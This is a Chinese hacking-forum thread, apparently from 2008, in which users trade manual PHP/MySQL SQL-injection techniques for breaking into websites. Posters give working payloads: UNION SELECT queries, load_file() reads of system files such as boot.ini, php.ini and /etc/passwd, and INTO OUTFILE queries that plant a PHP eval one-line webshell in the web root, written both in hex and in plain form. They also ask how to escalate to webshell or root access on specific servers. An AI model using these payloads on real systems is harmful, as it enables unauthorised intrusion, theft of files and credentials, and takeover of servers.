39 12
发新话题
打印

[讨论]郁闷的PHP注入....

.php?id=XX and select 0x273C3F40696E636C75646528245F504F53545B2274657374225D293B3F3E27 from mysql.user into outfile '绝对路径/文件名';
两个条件限制
1.是没有过滤单引号。
2.是绝对路径mysql要有写权限。
0x273C3F40696E636C75646528245F504F53545B2274657374225D293B3F3E27 是一句话木马。
<?php eval($_POST[cmd])?>
⿶俺寔鈫訕随煈爾紶⿲

TOP

你还真一个一个是的字段数数目啊,教你个小tips:

php?id=XX order by 10 最后一个换数字,只要是正确输出的都行,找到那个能正确输出的临界点就行了。用二分法能很快定位到有多少个字段  

TOP

我想问一下
loadfile()不能显示出来
into outfile 又不能导出webshell

哪么还有其它的方法通过注入得到webshell吗

TOP

楼主是如何拿到root权限的?
我遇到类似的机,Apache/1.3.34(Debian) PHP/4.4.2-1.1 mod_ssl/2.8.25 OpenSSL/0.9.8a
能够loadfile(),通过/etc/passwd猜到了它的web目录。我如何才能拿webshell或者root权限呢?没有思路进行下去了。

TOP

说郁闷!我真是同感,我这里更是郁闷!我得到一个注入点,提交order by 数字判断出字段数,
在页面中显示的是5

%20and%201=2%20union%20select%201,2,3,4,5/*
但是将5换成函数比如:user(),version()就出错,汗 这到底是什么 错误,还请大侠直指教!
出错提示是
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /web/webdir/heartweb/wwwhome/xzb/xzxx.php on line 8

我很郁闷,这该怎么解决!
高手指教!
笑真勤

TOP

  哥们你先把into outfile导出到可写目录哦..在不知道哪个目录是777的情况下 建议你先导出到/TMP/目录,然后LOAD_FILE读下证实下是否成功. 然后再找777目录哦. 你这样OUTFILE太盲目了.
BlackStorm...

TOP

想问下LZ是怎么得到网站路径的`
赠人玫瑰,手留余香。

TOP

引用:
引用第31楼上帝在堕落于2007-12-22 03:03发表的 :
想问下LZ是怎么得到网站路径的`
晕,13楼
大隐于市

TOP

magic一般都会开了,outfile也就没有用了。如果连管理入口都找不到,那还有什么办法进行下去?

TOP

我认为最好的方法用教主的HDSI3来试 试,他有PHP注入的

TOP

没有 哪位帅哥大姐帮忙下啊,我实在是不懂

我这里更是郁闷!我得到一个注入点,提交order by 数字判断出字段数,
在页面中显示的是5

%20and%201=2%20union%20select%201,2,3,4,5/*
但是将5换成函数比如:user(),version()就出错,汗 这到底是什么 错误,还请大侠直指教!
出错提示是
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /web/webdir/heartweb/wwwhome/xzb/xzxx.php on line 8

我很郁闷,这该怎么解决!
高手指教!
笑真勤

TOP

我遇见了跟楼主一样的问题
e=262/**/union/**/select/**/1,2,load_file(0x633A5C626F6F742E696E69),4,5,6,7,8/* 成功看到c:\boot.ini的内容 WINDOWS2000机器
e=262/**/union/**/select/**/1,2,load_file(0x633A5C77696E6E745C7068702E696E69),4,5,6,7,8/* 成功得到php.ini的内容
后面陆续得到 MYSQL连接帐户 版本是5.0.27 并且得到了WEB绝对路径
但是在into outfile的时候就郁闷了
e=262/**/union/**/select/**/1,2,'<?php @eval($_POST[s]);?>',3,4,5,6,7,8/**/from/**/news/**/into/**/outfile/**/'c:/appserv/www/1.php'/*
失败 返回错误 提示跟加'的提示一样
然后用 16进制变换为
e=262/**/union/**/select/**/1,2,0x3C3F70687020406576616C28245F504F53545B735D293B3F3E,3,4,5,6,7,8/**/from/**/news/**/into/**/outfile/**/0x633A2F617070736572762F7777772F312E706870/*   还是失败 错误提示跟以前一样
ps:
0x3C3F70687020406576616C28245F504F53545B735D293B3F3E是 <?php @eval($_POST[s]);?> 的16进制
0x633A2F617070736572762F7777772F312E706870 是c:/appserv/www/1.php的16进制

然后尝试
e=262/**/union/**/select/**/1,2,load_file(0x633A5C626F6F742E696E69),3,4,5,6,7,8/**/from/**/news/**/into/**/outfile/**/0x633A2F617070736572762F7777772F312E706870/*也失败
但是直接 e=262/**/union/**/select/**/1,2,load_file(0x633A5C626F6F742E696E69),3,4,5,6,7,8/**/from/**/news/的话 可以成功得到c:\boot.ini的内容
其间把'换成&#39;也试了 也不才成功 但是这个站有人用这个注射点拿到了WEBSHELL  。。。。。。邪门了!

各位大虾帮忙讨论下 谢谢!

[ 本帖最后由 xinyuan55881 于 2008-4-29 17:33 编辑 ]

TOP

楼主是怎么跨库查询的?
说说看

TOP

应该用NBSI的话 可能能解决手工注入遇到的意外情况吧 手工和工具感觉有时候是互补的 当一种做不到的时候 另一种却能做到

[ 本帖最后由 TheFail 于 2008-5-9 00:07 编辑 ]

TOP

 39 12
发新话题